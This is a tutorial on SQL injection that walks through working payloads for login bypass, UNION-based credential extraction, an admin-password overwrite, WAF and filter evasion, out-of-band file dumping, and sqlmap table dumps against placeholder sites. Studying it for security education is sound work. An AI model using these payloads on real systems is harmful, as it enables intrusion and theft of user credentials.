SQL Injection: Understanding The Exploit [by r3dBust3r]

What is SQL injection?

SQL Injection is a web security vulnerability that allows attackers to interact with an application's database by injecting malicious SQL code into input fields. This can lead to unauthorized data access, modification, or even complete control of the database.

How does it work?

let's work with this login form

username

password

login

a normal user named james would enter something like
james as a username
james@123 as a password

and here is the query that would be executed on the backend server:

```
$query =  "SELECT * FROM users
          WHERE username = 'james' AND password = 'james@123'"
```

But an attacker might try to enter something like x' OR 1=1 --, which would be executed as follows:

```
$query = "SELECT * FROM users WHERE
          username = 'x' OR 1=1 -- ' AND password = 'james@123'"
```

Which means fetching all users with a username equal to 'x' or 1=1. Since 1=1 is always true, the condition will always succeed. The '--' indicates a comment, which tells the database to ignore everything that comes after it.

The query now becomes valid at all times and will return all users registered in the database. As a result, we gain authorization to the first account, which in most cases would be the admin's account.

Injection Queries

SQL Injection can occur in multiple places where user-controlled data is processed by the database:

- *User inputs*
- *HTTP headers*
- *URL parameters*
- *API requests*

Before testing them, we need to understand how the backend queries are structured:

1. User Inputs

Let's take a search input as an example:

search for books   search

- A normal search would be something like: black hat python

it's going to return all published books that have 'black hat python' in their names

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%black hat python%'
          AND status = 'published'"
```

- A malicious search would be something like: x%' OR 1=1 --

and it's going to return all books including unpublished.

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' OR 1=1 -- %'
          AND status = 'published'"
```

2. HTTP Headers

Sometimes, developers take HTTP variables as inputs and pass them to the database in order to do something.

Let's take an example:
A website called 'abc.com' wants to know the location of its users.

It would capture something like an HTTP header that contains the IP address, called 'X-Forwarded-For'

Example:
X-Forwarded-For: 41.92.23.143

- Here is the backend query:

```
$query = "INSERT INTO locations (ip, user_id) VALUES
          ('41.92.23.143', 728)"
```

A malicious payload like:
X-Forwarded-For: x', -1); UPDATE users SET password = 'x123' WHERE username = 'admin' --

Is going to update the admin's password to x123
And here is the backend query

```
$query = "INSERT INTO locations (ip, user_id) VALUES
          ('x', -1); UPDATE users SET password = 'x123' WHERE
          username = 'admin' --', 728)"
```

3. URL Parameters

Let's assume we have an eLearning platform that hosts courses, and of course, there will be a filter by categories. An example could be something like this:

http://elearning-xyz.com/courses?category=frontend

The category parameter in this case fetches courses that belong to frontend which works fine until an attacker manipulates the category from "frontend" to "x' UNION SELECT username, password FROM users --"

This would then fetch all users and their passwords registered in the database.

- Normal Query

```
$query = "SELECT * FROM courses
          WHERE category = 'frontend' LIMIT 12"
```

- Malicious Query

```
$query = "SELECT * FROM courses
          WHERE category = 'x' UNION SELECT username, password
          FROM users --' LIMIT 12"
```

4. API Requests

Let's take an example of a school API.

An API endpoint like /api/v1/grades allows students to access their grades by sending a GET request such as:

```
GET /api/v1/grades HTTP/1.1
Host: school-xyz.com
Content-Type: application/json

{
   "student_id":   "st02637",
   "access_token": "xuc9epjvs7d4tvccaqjya0yd68twrq6n",
}
```

Here is the backend query

```
$query = "SELECT * FROM grades
          WHERE student_id = 'st02637' AND
          access_token = 'xuc9epjvs7d4tvccaqjya0yd68twrq6n'"
```

That's cool right!

But as you know, an attacker can manipulate the request and send a malicious one, such as:

```
GET /api/v1/grades HTTP/1.1
Host: school-xyz.com
Content-Type: application/json

{
   "student_id":   "x' UNION SELECT username, password
                   FROM users -- ",
   "access_token": "x",
}
```

The backend query will be like:

```
$query = "SELECT * FROM grades
          WHERE student_id = 'x' UNION SELECT student_id, password
          FROM users -- ' AND access_token = 'x'"
```

This could lead to gaining access to all students' credentials.

How can we determine the structure of the database?!

You might be wondering how we can discover the names of the database, tables, and columns used in the application. Well, there's no magic, it's just science. We'll be talking about the INFORMATION_SCHEMA database, which holds all the answers.

The INFORMATION_SCHEMA database contains the entire structure of all databases. Imagine it as a wizard watching over you, each time you create, edit, or delete something, this wizard stores the updated information.

INFORMATION_SCHEMA contains a lot of information, but we won't need it all. We'll focus on just two key tables: TABLES and COLUMNS.

- Here is the structure that we need:

```
INFORMATION_SCHEMA   - - - - - - - - - - - > (DATABASE)
│
├── TABLES           - - - - - - - - - - - > (TABLE)
│    ├── TABLE_SCHEMA - - - - - - - - - - - > (COLUMN)
│    └── TABLE_NAME   - - - - - - - - - - - > (COLUMN)
│
└── COLUMNS          - - - - - - - - - - - > (TABLE)
     ├── TABLE_SCHEMA - - - - - - - - - - - > (COLUMN)
     ├── TABLE_NAME   - - - - - - - - - - - > (COLUMN)
     └── COLUMN_NAME  - - - - - - - - - - - > (COLUMN)

INFORMATION_SCHEMA.TABLES: Contains metadata about tables
├── TABLE_SCHEMA:     The database to which the table belongs
└── TABLE_NAME:       The name of the table

INFORMATION_SCHEMA.COLUMNS: Contains metadata about columns
├── TABLE_SCHEMA:     The database to which the column belongs
├── TABLE_NAME:       The table to which the column belongs
└── COLUMN_NAME:      The name of the column
```

Let's assume we have a database called database_x.

When you create a new table called users with the columns (id, username, password)
the INFORMATION_SCHEMA would store it as follows:

```
INFORMATION_SCHEMA
│
├── TABLES
│    ├── TABLE_SCHEMA - - - - - - - - - - - > (database_x)
│    └── TABLE_NAME   - - - - - - - - - - - > (users)
│
└── COLUMNS
     ├── TABLE_SCHEMA - - - - - - - - - - - > (database_x)
     ├── TABLE_NAME   - - - - - - - - - - - > (users)
     └── COLUMN_NAME  - - - - - - - - - - - > (id, username, password)
```

if you didn't understand information_schema structure, don't skip it, it's so important.

cool!, cool.

Now, how can we extract the data?

We follow these steps to extract the data:

1. *Determine how many columns the query fetches.*
2. *Fetch the current database.*
3. *Extract table names.*
4. *Extract column names.*
5. *Extract the data.*

Let's take one of the previous examples and apply these steps, one by one.

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%black hat python%'
          AND status = 'published'"
```

1. Determine how many columns the query fetches.

Payload: x%' ORDER BY 1 --

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' ORDER BY 1 -- %'
          AND status = 'published'"
```

Each time, we increase by 1 until we encounter an error.
The last payload before the error indicates the number of columns returned by the query.

Why do we need to know how many columns are returned by the query?!

Because we are going to extract the data using UNION, and there are 2 rules you must follow when using UNION queries:

@ Rule #1: The two queries must have the same number of columns.
@ Rule #2: The columns' data types must match in parallel.

2. Fetching the current database.

After we know the number of columns, we can know the current database's name with the following payload:

Payload: x%' UNION SELECT database() --

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION SELECT database() -- %'
          AND status = 'published'"
```

3. Extracting tables names.

Payload: x%' UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = database() --

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION SELECT TABLE_NAME
          FROM INFORMATION_SCHEMA.TABLES
          WHERE TABLE_SCHEMA = database() -- %'
          AND status = 'published'"
```

This query will return all tables created under the current database.

4. Extracting columns names.

Let's assume that you've found a table called users.

Payload: x%' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 'users' --

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION SELECT COLUMN_NAME FROM
          INFORMATION_SCHEMA.COLUMNS
          WHERE TABLE_SCHEMA = database() AND
          TABLE_NAME = 'users' -- %'
          AND status = 'published'"
```

This query will return all column names under the users table in the current database.

5. Extracting the data.

The last step, let's assume you've found the following columns under the users table:

```
database()
│
└── users
     ├── id
     ├── username
     ├── password
     └── email
```

If the original query is returning one column from the database, we will need to send two payloads:
- one for usernames
- another one for passwords

Usernames Payload: x%' UNION SELECT username FROM users --

```
$query = SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION
          SELECT username FROM users -- %'
          AND status = 'published'"
```

Passwords Payload: x%' UNION SELECT password FROM users --

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION
          SELECT password FROM users -- %'
          AND status = 'published'"
```

If the original query is returning 2 columns, we will send one payload to fetch both usernames and their passwords:

Payload: x%' UNION SELECT username, password FROM users --

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION SELECT username, password
          FROM users -- %' AND status = 'published'"
```

Filter Evasion Techniques

So far, we have just used plain payloads, but in real-world scenarios, you will face WAFs (Web Application Firewalls) or filters that block or alter your request before it reaches the database. Therefore, we need encoding techniques to bypass these guards.

1. Encoding Payloads

We can encode our payloads using several methods to hide them from these guards, such as:

a. URL Encoding

Here are the most used characters in SQL injection and their encoded values

space	%20
'	%27
"	%22
=	%3D
-	%2D
/	%2F
*	%2A
+	%2B
%	%25
#	%23

Some encoded payloads:

x' OR 1=1 --	Becomes	x%27%20OR%201%3D1%20%2D%2D%20
x' OR 'a'='a	Becomes	x%27%20OR%20%27a%27%3D%27a
x' ORDER BY 1 --	Becomes	x%27%20ORDER%20BY%201%20%2D%2D%20
x%' OR 1=1 /*	Becomes	x%25%27%20OR%201%3D1%20%2F%2A%20

Of course, you don't have to remember all of these techniques. Instead, you can use online tools such as **CyberChef**, which will make your life easier.

b. Hexadecimal Encoding

We use this kind of encoding when we want to encode strings

admin	0x61646d696e
james	0x6a616d6573

Once again, you don't need to convert these manually,
just use automation tools, and your life will become much easier.

c. Unicode Encoding

Like Hex, We use this encoding on strings

admin	\u0061\u0064\u006d\u0069\u006e
james	\u006a\u0061\u006d\u0065\u0073

2. Case Variation

Sometimes developes filter SQL keywords such as:
SELECT, OR, UNION, UPDATE, INSERT, LIKE etc...

Since most programming languages are case-sensitive, variations in the case of SQL keywords can help bypass such filters.

SELECT is not the same as select or Select etc...

if there is a filter on SELECT, you can try to manipulate it like SeLecT, seLeCt, SEleCt, seleCT.

For instance, the payload:

x' UNION SELECT username FROM users --
Becomes
x' UnIon sEleCT username fRoM users --

3. Comments

Let's assume we have a query like this on the backend server:

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '% $search %'
          AND status = 'published'"
```

Injecting a payload like:

x%' UNION SELECT username, password FROM users

Would fail and raise an error because the request would look like this:

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION SELECT username,
          password FROM users %' AND status = 'published'"
```

The extra single quote (') will trigger an error. We must always close these quotes, whether they are single or double.

However, even if we close those quotes, we may still encounter another issue, such as:

```
$query = "SELECT * FROM books WHERE
          book_name LIKE '% $search %' AND
          status = 'published' LIMIT 5"
```

even if we inject a valid payload like:
x%' OR book_name = '%

It won't trigger an error, but it may not return all the books because the status and LIMIT conditions remain intact.

To bypass this, we need to ignore the status and LIMIT clauses by injecting a comment at the end of the payload.

Comment	URL Encoded	Meaning
#	%23	One-line Comment
--	%2D%2D	One-line Comment
/*	%2F%2A	The Start of a Multi-line Comment

```
$query1 = "SELECT * FROM books WHERE
          book_name LIKE '%x%' OR 1=1 # %' AND
          status = 'published' LIMIT 5"

$query2 = "SELECT * FROM books WHERE
          book_name LIKE '%x%' OR 1=1 -- %' AND
          status = 'published' LIMIT 5"

$query3 = "SELECT * FROM books WHERE
          book_name LIKE '%x%' OR 1=1 /* %' AND
          status = 'published' LIMIT 5"
```

This comment will effectively ignore the rest of the query, allowing to bypass constraints such as LIMIT and status.

4. Concat() function

Sometimes, developers filter ' and " from your input in order to block you from sending a malicious payload.

We have another way to bypass this kind of filter: the magic function CONCAT().

We can create a string using it.
for example:

Plain String	The Same in Hex and CONCAT()
admin	CONCAT(0x61,0x64,0x6d,0x69,0x6e)
james	CONCAT(0x6a,0x61,0x6d,0x65,0x73)

```
$query = SELECT * FROM books WHERE
          book_name LIKE '%x%' UNION SELECT username,
          password FROM users WHERE
          username = CONCAT(0x61,0x64,0x6d,0x69,0x6e)
          /* %' AND status = 'published' LIMIT 5
```

Types of SQL injection

1. In-Band

In-band SQL injection is a straightforward type of SQL injection attack. The attacker uses the same communication channel for both the injection and the retrieval of data.

All the previous examples we worked with were of the In-band type, which returns the response on the same communication channel.

Some common examples of this include:

- ***single item page***	http://target.com/books?book_id=728
- ***archive page***	http://target.com/books
- ***search page***	http://target.com/?search=black+hat+python

In these cases, the attacker gets a response from the server as soon as they makes a request.

2. Out-of-Band

Out-of-band SQL injection is used when the attacker cannot use the same channel to launch the attack and gather results, or when the server responses are unstable. This technique relies on the database server making an out-of-band request (HTTP, DNS, SMB, etc.) to send the query result to the attacker.

So far, we haven't worked with any examples of this type of injection, let's take a look at one.

Payload: x' UNION SELECT GROUP_CONCAT(username,0x2d,password) INTO
OUTFILE '/var/www/html/hidden-leak001.txt' FROM users --

This payload would exfiltrate all usernames and their passwords into an external file called **hidden-leak001.txt**

Then, all we have to do is make a GET request to access this file:

```
user@linux:~$ curl https://target.com/hidden-leak001.txt
```

Automation

We know that it is great to understand the attack and do it manually, but it's very time-consuming, and you have to test a lot to bypass those filters and WAFs. What if we could automate all of these techniques?!

A great tool called ***SQLmap*** was created for these kinds of vulnerabilities. It's pre-installed on Kali Linux, but if you're using another distro and don't have it, you can install it from GitHub:

https://github.com/sqlmapproject/sqlmap

1. GET Requests with SQLmap

```
user@linux:~$ sqlmap -u https://target.com/books?book_id=782
--dbs

user@linux:~$ sqlmap -u https://target.com/books?book_id=782
-D dbname  --tables

user@linux:~$ sqlmap -u https://target.com/books?book_id=782
-D dbname -T users --dump
```

--dbs	fetch all the databases
--tables	fetch all tables in a specific database
--dump	dump the data from a table
-D	specify the database
-T	specify the table

2. POST Request with SQLmap

Make a normal POST request on your browser and intercept it with BurpSuite, then save that request to a file.

```
user@linux:~$ sqlmap -r request_file -p email --dbs
```

-r	request file you saved from BurpSuite
-p	vulnerable parameter

[THE END]

And here we go...

I hope I didn't forget anything. If you have any questions, please don't hesitate to contact me on LinkedIn, Twitter, or Reddit, and I will be happy to answer.

Thank you for reaching this point! :)

This is the first time I create something like this. If you like it, you can follow me, and I will be creating more content like this from time to time.

[Otmane TALHAOUI - @r3dBust3r]